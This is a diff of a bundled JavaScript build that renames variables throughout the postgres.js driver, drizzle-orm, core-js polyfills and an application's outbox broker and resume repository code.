@@ -104261,29 +109459,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message2) { - const error51 = Object.assign(new Error(code + ": " + message2), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -104791,10 +109989,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -104805,8 +110003,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject2); socket.once("close", resolve2); - } catch (error52) { - reject2(error52); + } catch (error63) { + reject2(error63); } } function execute(q) { @@ -104821,9 +110019,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build2(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -104902,7 +110100,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -104968,10 +110166,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -105003,7 +110201,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial2 || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { socket.removeListener("data", data); @@ -105026,7 +110224,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial2) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -105340,9 +110538,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -105375,9 +110573,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk3, encoding, callback) { socket.write(bytes_default().d().raw(chunk3).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -105406,9 +110604,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk3, encoding, callback) { socket.write(bytes_default().d().raw(chunk3).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -105490,15 +110688,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -105610,10 +110808,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -105838,7 +111036,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -105951,7 +111149,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve2, reject2) => { + const c = open2.length ? open2.shift() : await new Promise((resolve2, reject2) => { const query = { reserve: resolve2, reject: reject2 }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -105979,8 +111177,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_3, reject2) => connection2.onclose = reject2) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -106024,7 +111222,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -106038,8 +111236,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -106084,7 +111282,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max2 = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max2-- > 0) { const query = queries.shift(); @@ -106885,8 +112083,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values3, schema) { const enumInstance = Object.assign( @@ -107610,16 +112808,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder2 = field.sql.decoder; } - let node = result22; + let node2 = result22; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -109334,19 +114532,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -109881,13 +115079,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -113897,8 +119095,8 @@ var MemoryBroker = class { try { await registration.options.handler(envelope, context2); return; - } catch (error51) { - lastError = error51; + } catch (error62) { + lastError = error62; if (attempt < maxRetries) { await this.sleep(backoffDelayMs(attempt)); } @@ -113963,13 +119161,13 @@ function inList(values3) { sql`, ` ); } -function sanitizeError(error51) { +function sanitizeError(error62) { let described; - if (error51 instanceof Error) { - const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + if (error62 instanceof Error) { + const inner = error62.message.startsWith("Failed query") && error62.cause instanceof Error ? error62.cause : error62; described = `${inner.name}: ${inner.message}`; } else { - described = String(error51); + described = String(error62); } return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); } @@ -114270,12 +119468,12 @@ var PostgresBroker = class { }, payload: claimed.payload }); - } catch (error51) { + } catch (error62) { this.logger.error( { consumer: claimed.consumer, event_id: claimed.event_id }, "dead-lettering unparseable outbox event" ); - return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error62)}`); } if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { return this.bury( @@ -114288,14 +119486,14 @@ var PostgresBroker = class { if (await this.alreadyProcessed(claimed)) { return await this.complete(claimed); } - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; try { await registration.handler(envelope, context2); - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } return this.complete(claimed); } @@ -114328,17 +119526,17 @@ var PostgresBroker = class { ); } return "processed"; - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a successful delivery" ); return "failed"; } } - async retryOrBury(registration, claimed, envelope, error51) { + async retryOrBury(registration, claimed, envelope, error62) { const retry = claimed.attempts - 1; - const description = sanitizeError(error51); + const description = sanitizeError(error62); if (retry < this.maxRetriesFor(registration)) { return this.settle(claimed, "failed", description, this.backoffMs(retry)); } @@ -114376,9 +119574,9 @@ var PostgresBroker = class { nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, updatedAt: sql`now()` }).where(this.fence(claimed)); - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a failed delivery" ); } @@ -114430,9 +119628,9 @@ var RabbitMqBroker = class { async ensureChannel() { if (this.channel !== null) return this.channel; const connection2 = await import_amqplib.default.connect(this.options.url); - connection2.on("error", (error51) => { + connection2.on("error", (error62) => { this.healthy = false; - this.options.logger.error({ err: error51 }, "rabbitmq connection error"); + this.options.logger.error({ err: error62 }, "rabbitmq connection error"); }); connection2.on("close", () => { this.healthy = false; @@ -114504,9 +119702,9 @@ var RabbitMqBroker = class { let envelope; try { envelope = parseEvent(JSON.parse(message2.content.toString("utf8"))); - } catch (error51) { + } catch (error62) { this.options.logger.error( - { err: error51, consumer: options.consumer }, + { err: error62, consumer: options.consumer }, "discarding unparseable message" ); channel.nack(message2, false, false); @@ -114516,8 +119714,8 @@ var RabbitMqBroker = class { try { await options.handler(envelope, context2); channel.ack(message2); - } catch (error51) { - const errorMessage = error51 instanceof Error ? error51.message : String(error51); + } catch (error62) { + const errorMessage = error62 instanceof Error ? error62.message : String(error62); if (attempt >= maxRetries) { this.options.logger.error( { consumer: options.consumer, event_id: envelope.event_id, attempts: attempt + 1 }, @@ -114785,8 +119983,8 @@ async function findByUserAndHash(db2, userId, contentHash) { const [row] = await db2.select().from(schema_exports.resumes).where(and(eq(schema_exports.resumes.userId, userId), eq(schema_exports.resumes.contentHash, contentHash))).limit(1); return row ?? null; } -async function insertPending(db2, input) { - const [row] = await db2.insert(schema_exports.resumes).values({ ...input, status: "pending" }).returning(); +async function insertPending(db2, input2) { + const [row] = await db2.insert(schema_exports.resumes).values({ ...input2, status: "pending" }).returning(); if (!row) throw new Error("insertPending: insert returned no row"); return row; } @@ -115462,8 +120660,8 @@ var __webpack_modules__ = { anObject(this); try { aCallable(predicate); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } if (findWithoutClosingOnEarlyError) return call(findWithoutClosingOnEarlyError, this, predicate); var record2 = getIteratorDirect(this); @@ -115516,7 +120714,7 @@ var __webpack_modules__ = { if (options && hasOwn(options, "constructor") && options.constructor) { if (DESCRIPTORS) defineProperty(value, "prototype", { writable: false }); } else if (value.prototype) value.prototype = void 0; - } catch (error51) { + } catch (error62) { } var state = enforceInternalState(value); if (!hasOwn(state, "source")) { @@ -115578,7 +120776,7 @@ var __webpack_modules__ = { try { var target = new Uint8Array2([255, 255, 255, 255, 255, 255, 255, 255]); return target.toHex() === "ffffffffffffffff"; - } catch (error51) { + } catch (error62) { return false; } }(); @@ -115640,15 +120838,15 @@ var __webpack_modules__ = { result2 = anObject(call(inner.next, inner.iterator)); if (!result2.done) return result2.value; this.inner = null; - } catch (error51) { - iteratorClose(iterator, "throw", error51); + } catch (error62) { + iteratorClose(iterator, "throw", error62); } result2 = anObject(call(this.next, iterator)); if (this.done = !!result2.done) return; try { this.inner = getIteratorFlattenable(mapper(result2.value, this.counter++), false); - } catch (error51) { - iteratorClose(iterator, "throw", error51); + } catch (error62) { + iteratorClose(iterator, "throw", error62); } } }); @@ -115657,8 +120855,8 @@ var __webpack_modules__ = { anObject(this); try { aCallable(mapper); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } if (flatMapWithoutClosingOnEarlyError) return call(flatMapWithoutClosingOnEarlyError, this, mapper); return new IteratorProxy(getIteratorDirect(this), { @@ -115713,7 +120911,7 @@ var __webpack_modules__ = { var method = typeof Iterator == "function" && Iterator.prototype[methodName]; if (method) try { method.call({ next: null }, argument).next(); - } catch (error51) { + } catch (error62) { return true; } }; @@ -115793,8 +120991,8 @@ var __webpack_modules__ = { module2.exports = function(exec) { try { return { error: false, value: exec() }; - } catch (error51) { - return { error: true, value: error51 }; + } catch (error62) { + return { error: true, value: error62 }; } }; } @@ -115828,8 +121026,8 @@ var __webpack_modules__ = { anObject(this); try { aCallable(predicate); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } if (everyWithoutClosingOnEarlyError) return call(everyWithoutClosingOnEarlyError, this, predicate); var record2 = getIteratorDirect(this); @@ -115887,19 +121085,19 @@ var __webpack_modules__ = { return store.has(it); }; } else { - var STATE = sharedKey("state"); - hiddenKeys[STATE] = true; + var STATE2 = sharedKey("state"); + hiddenKeys[STATE2] = true; set2 = function(it, metadata) { - if (hasOwn(it, STATE)) throw new TypeError2(OBJECT_ALREADY_INITIALIZED); + if (hasOwn(it, STATE2)) throw new TypeError2(OBJECT_ALREADY_INITIALIZED); metadata.facade = it; - createNonEnumerableProperty(it, STATE, metadata); + createNonEnumerableProperty(it, STATE2, metadata); return metadata; }; get2 = function(it) { - return hasOwn(it, STATE) ? it[STATE] : {}; + return hasOwn(it, STATE2) ? it[STATE2] : {}; }; has3 = function(it) { - return hasOwn(it, STATE); + return hasOwn(it, STATE2); }; } module2.exports = { @@ -115932,9 +121130,9 @@ var __webpack_modules__ = { if (iters[i] === void 0) continue; try { value = iteratorClose(iters[i].iterator, kind, value); - } catch (error51) { + } catch (error62) { kind = "throw"; - value = error51; + value = error62; } } if (kind === "throw") throw value; @@ -116049,8 +121247,8 @@ var __webpack_modules__ = { anObject(this); try { aCallable(mapper); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } if (mapWithoutClosingOnEarlyError) return call(mapWithoutClosingOnEarlyError, this, mapper); return new IteratorProxy(getIteratorDirect(this), { @@ -116219,7 +121417,7 @@ var __webpack_modules__ = { var NullProtoObject = function() { try { activeXDocument = new ActiveXObject("htmlfile"); - } catch (error51) { + } catch (error62) { } NullProtoObject = typeof document != "undefined" ? document.domain && activeXDocument ? NullProtoObjectViaActiveX(activeXDocument) : NullProtoObjectViaIFrame() : NullProtoObjectViaActiveX(activeXDocument); var length = enumBugKeys.length; @@ -116291,8 +121489,8 @@ var __webpack_modules__ = { anObject(this); try { aCallable(predicate); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } if (filterWithoutClosingOnEarlyError) return call(filterWithoutClosingOnEarlyError, this, predicate); return new IteratorProxy(getIteratorDirect(this), { @@ -116380,8 +121578,8 @@ var __webpack_modules__ = { while (!(step = call(next, iterator)).done) { try { result2 = callFn(step.value); - } catch (error51) { - iteratorClose(iterator, "throw", error51); + } catch (error62) { + iteratorClose(iterator, "throw", error62); } if (typeof result2 == "object" && result2 && isPrototypeOf(ResultPrototype, result2)) return result2; } @@ -116401,18 +121599,18 @@ var __webpack_modules__ = { var wellKnownSymbol = __webpack_require__2(8227); var $TypeError = TypeError; var TO_PRIMITIVE = wellKnownSymbol("toPrimitive"); - module2.exports = function(input, pref) { - if (!isObject5(input) || isSymbol(input)) return input; - var exoticToPrim = getMethod(input, TO_PRIMITIVE); + module2.exports = function(input2, pref) { + if (!isObject5(input2) || isSymbol(input2)) return input2; + var exoticToPrim = getMethod(input2, TO_PRIMITIVE); var result2; if (exoticToPrim) { if (pref === void 0) pref = "default"; - result2 = call(exoticToPrim, input, pref); + result2 = call(exoticToPrim, input2, pref); if (!isObject5(result2) || isSymbol(result2)) return result2; throw new $TypeError("Can't convert object to primitive value"); } if (pref === void 0) pref = "number"; - return ordinaryToPrimitive(input, pref); + return ordinaryToPrimitive(input2, pref); }; } ), @@ -116517,7 +121715,7 @@ var __webpack_modules__ = { setter = uncurryThisAccessor(Object.prototype, "__proto__", "set"); setter(test, []); CORRECT_SETTER = test instanceof Array; - } catch (error51) { + } catch (error62) { } return function setPrototypeOf(O, proto) { requireObjectCoercible(O); @@ -116694,7 +121892,7 @@ var __webpack_modules__ = { try { new DataView2(O); return false; - } catch (error51) { + } catch (error62) { return true; } }; @@ -116782,8 +121980,8 @@ var __webpack_modules__ = { anObject(this); try { aCallable(predicate); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } if (someWithoutClosingOnEarlyError) return call(someWithoutClosingOnEarlyError, this, predicate); var record2 = getIteratorDirect(this); @@ -116976,8 +122174,8 @@ var __webpack_modules__ = { var properErrorOnNonWritableLength = function() { try { Object.defineProperty([], "length", { writable: false }).push(); - } catch (error51) { - return error51 instanceof TypeError; + } catch (error62) { + return error62 instanceof TypeError; } }; var FORCED = INCORRECT_TO_LENGTH || !properErrorOnNonWritableLength(); @@ -117122,11 +122320,11 @@ var __webpack_modules__ = { var isCallable = __webpack_require__2(4901); var isObject5 = __webpack_require__2(34); var $TypeError = TypeError; - module2.exports = function(input, pref) { + module2.exports = function(input2, pref) { var fn, val; - if (pref === "string" && isCallable(fn = input.toString) && !isObject5(val = call(fn, input))) return val; - if (isCallable(fn = input.valueOf) && !isObject5(val = call(fn, input))) return val; - if (pref !== "string" && isCallable(fn = input.toString) && !isObject5(val = call(fn, input))) return val; + if (pref === "string" && isCallable(fn = input2.toString) && !isObject5(val = call(fn, input2))) return val; + if (isCallable(fn = input2.valueOf) && !isObject5(val = call(fn, input2))) return val; + if (pref !== "string" && isCallable(fn = input2.toString) && !isObject5(val = call(fn, input2))) return val; throw new $TypeError("Can't convert object to primitive value"); }; } @@ -117213,7 +122411,7 @@ var __webpack_modules__ = { if (buffer2.byteLength === 0) detach = $detach; } } - } catch (error51) { + } catch (error62) { } module2.exports = detach; } @@ -117245,8 +122443,8 @@ var __webpack_modules__ = { if (this !== void 0) return true; try { Object.defineProperty([], "length", { writable: false }).length = 1; - } catch (error51) { - return error51 instanceof TypeError; + } catch (error62) { + return error62 instanceof TypeError; } }(); module2.exports = SILENT_ON_NON_WRITABLE_LENGTH_SET ? function(O, length) { @@ -117278,8 +122476,8 @@ var __webpack_modules__ = { CLOSED = true; } }, -1); - } catch (error51) { - if (!(error51 instanceof ExpectedError)) CLOSED = false; + } catch (error62) { + if (!(error62 instanceof ExpectedError)) CLOSED = false; } if (!CLOSED) return method; }; @@ -117449,7 +122647,7 @@ var __webpack_modules__ = { var TypedArrayConstructor = globalThis2[ARRAY]; if (TypedArrayConstructor && hasOwn(TypedArrayConstructor.prototype, KEY)) try { delete TypedArrayConstructor.prototype[KEY]; - } catch (error51) { + } catch (error62) { try { TypedArrayConstructor.prototype[KEY] = property2; } catch (error210) { @@ -117468,13 +122666,13 @@ var __webpack_modules__ = { TypedArrayConstructor = globalThis2[ARRAY]; if (TypedArrayConstructor && hasOwn(TypedArrayConstructor, KEY)) try { delete TypedArrayConstructor[KEY]; - } catch (error51) { + } catch (error62) { } } if (!TypedArray[KEY] || forced) { try { return defineBuiltIn(TypedArray, KEY, forced ? property2 : NATIVE_ARRAY_BUFFER_VIEWS && TypedArray[KEY] || property2); - } catch (error51) { + } catch (error62) { } } else return; } @@ -117602,7 +122800,7 @@ var __webpack_modules__ = { anObject(Attributes); if (IE8_DOM_DEFINE) try { return $defineProperty(O, P, Attributes); - } catch (error51) { + } catch (error62) { } if ("get" in Attributes || "set" in Attributes) throw new $TypeError("Accessors not supported"); if ("value" in Attributes) O[P] = Attributes.value; @@ -117653,14 +122851,14 @@ var __webpack_modules__ = { try { new Set2()[name](createSetLikeWithInfinitySize(-Infinity)); return false; - } catch (error51) { + } catch (error62) { var set2 = new Set2(); set2.add(1); set2.add(2); return callback(set2[name](createSetLikeWithInfinitySize(Infinity))); } } - } catch (error51) { + } catch (error62) { return false; } }; @@ -117697,8 +122895,8 @@ var __webpack_modules__ = { var remaining; try { remaining = toPositiveInteger(notANaN(+limit)); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } if (takeWithoutClosingOnEarlyError) return call(takeWithoutClosingOnEarlyError, this, remaining); return new IteratorProxy(getIteratorDirect(this), { @@ -117734,9 +122932,9 @@ var __webpack_modules__ = { var message2 = normalizeStringArgument(argumentsLength < 1 ? void 0 : arguments[0]); var name = normalizeStringArgument(argumentsLength < 2 ? void 0 : arguments[1], "Error"); var that = new NativeDOMException(message2, name); - var error51 = new Error2(message2); - error51.name = DOM_EXCEPTION; - defineProperty(that, "stack", createPropertyDescriptor(1, clearErrorStack(error51.stack, 1))); + var error62 = new Error2(message2); + error62.name = DOM_EXCEPTION; + defineProperty(that, "stack", createPropertyDescriptor(1, clearErrorStack(error62.stack, 1))); inheritIfRequired(that, this, $DOMException); return that; }; @@ -117866,11 +123064,11 @@ var __webpack_modules__ = { try { Uint8Array2.fromBase64("a"); return; - } catch (error51) { + } catch (error62) { } try { Uint8Array2.fromBase64("", null); - } catch (error51) { + } catch (error62) { return true; } }(); @@ -118002,7 +123200,7 @@ var __webpack_modules__ = { var base = length < 2 || arguments[1] === void 0 ? void 0 : toString2(arguments[1]); try { return new URL2(urlString, base); - } catch (error51) { + } catch (error62) { return null; } } @@ -118159,8 +123357,8 @@ var __webpack_modules__ = { module2.exports = function(iterator, fn, value, ENTRIES) { try { return ENTRIES ? fn(anObject(value)[0], value[1]) : fn(value); - } catch (error51) { - iteratorClose(iterator, "throw", error51); + } catch (error62) { + iteratorClose(iterator, "throw", error62); } }; } @@ -118246,16 +123444,16 @@ var __webpack_modules__ = { try { target.setFromBase64("", null); return; - } catch (error51) { + } catch (error62) { } try { target.setFromBase64("a"); return; - } catch (error51) { + } catch (error62) { } try { target.setFromBase64("MjYyZg==="); - } catch (error51) { + } catch (error62) { return target[0] === 50 && target[1] === 54 && target[2] === 50 && target[3] === 255 && target[4] === 255; } }(); @@ -118292,7 +123490,7 @@ var __webpack_modules__ = { module2.exports = function(object3, key, method) { try { return uncurryThis(aCallable(Object.getOwnPropertyDescriptor(object3, key)[method])); - } catch (error51) { + } catch (error62) { } }; } @@ -118327,7 +123525,7 @@ var __webpack_modules__ = { module2.exports = function(argument) { try { return $String(argument); - } catch (error51) { + } catch (error62) { return "Object"; } }; @@ -118365,7 +123563,7 @@ var __webpack_modules__ = { try { if (!options.unsafe) delete O[key]; else if (O[key]) simple = true; - } catch (error51) { + } catch (error62) { } if (simple) O[key] = value; else definePropertyModule.f(O, key, { @@ -118395,7 +123593,7 @@ var __webpack_modules__ = { var tryGet = function(it, key) { try { return it[key]; - } catch (error51) { + } catch (error62) { } }; module2.exports = TO_STRING_TAG_SUPPORT ? classofRaw : function(it) { @@ -118483,7 +123681,7 @@ var __webpack_modules__ = { P = toPropertyKey(P); if (IE8_DOM_DEFINE) try { return $getOwnPropertyDescriptor(O, P); - } catch (error51) { + } catch (error62) { } if (hasOwn(O, P)) return createPropertyDescriptor(!call(propertyIsEnumerableModule.f, O, P), O[P]); }; @@ -118588,8 +123786,8 @@ var __webpack_modules__ = { anObject(this); try { aCallable(fn); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } if (forEachWithoutClosingOnEarlyError) return call(forEachWithoutClosingOnEarlyError, this, fn); var record2 = getIteratorDirect(this); @@ -118986,8 +124184,8 @@ var __webpack_modules__ = { anObject(this); try { aCallable(reducer); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } var noInitial = arguments.length < 2; var accumulator = noInitial ? void 0 : arguments[1]; @@ -119058,14 +124256,14 @@ var __webpack_modules__ = { } return isCallable(reviver) ? internalize({ "": value }, "", reviver, root2) : value; }; - var internalize = function(holder, name, reviver, node) { + var internalize = function(holder, name, reviver, node2) { var val = holder[name]; - var unmodified = node && val === node.value; - var context2 = unmodified && typeof node.source == "string" ? { source: node.source } : {}; + var unmodified = node2 && val === node2.value; + var context2 = unmodified && typeof node2.source == "string" ? { source: node2.source } : {}; var elementRecordsLen, keys2, len, i, P; if (isObject5(val)) { var nodeIsArray = isArray(val); - var nodes = unmodified ? node.nodes : nodeIsArray ? [] : {}; + var nodes = unmodified ? node2.nodes : nodeIsArray ? [] : {}; if (nodeIsArray) { elementRecordsLen = nodes.length; len = lengthOfArrayLike(val); @@ -119484,7 +124682,7 @@ var __webpack_modules__ = { module2.exports = function(exec) { try { return !!exec(); - } catch (error51) { + } catch (error62) { return true; } }; @@ -119709,8 +124907,8 @@ var __webpack_modules__ = { var remaining; try { remaining = toPositiveInteger(notANaN(+limit)); - } catch (error51) { - iteratorClose(this, "throw", error51); + } catch (error62) { + iteratorClose(this, "throw", error62); } if (dropWithoutClosingOnEarlyError) return call(dropWithoutClosingOnEarlyError, this, remaining); return new IteratorProxy(getIteratorDirect(this), { @@ -119730,11 +124928,11 @@ var __webpack_modules__ = { if (IS_NODE) { try { return globalThis2.process.getBuiltinModule(name); - } catch (error51) { + } catch (error62) { } try { return Function('return require("' + name + '")')(); - } catch (error51) { + } catch (error62) { } } }; @@ -119756,7 +124954,7 @@ var __webpack_modules__ = { 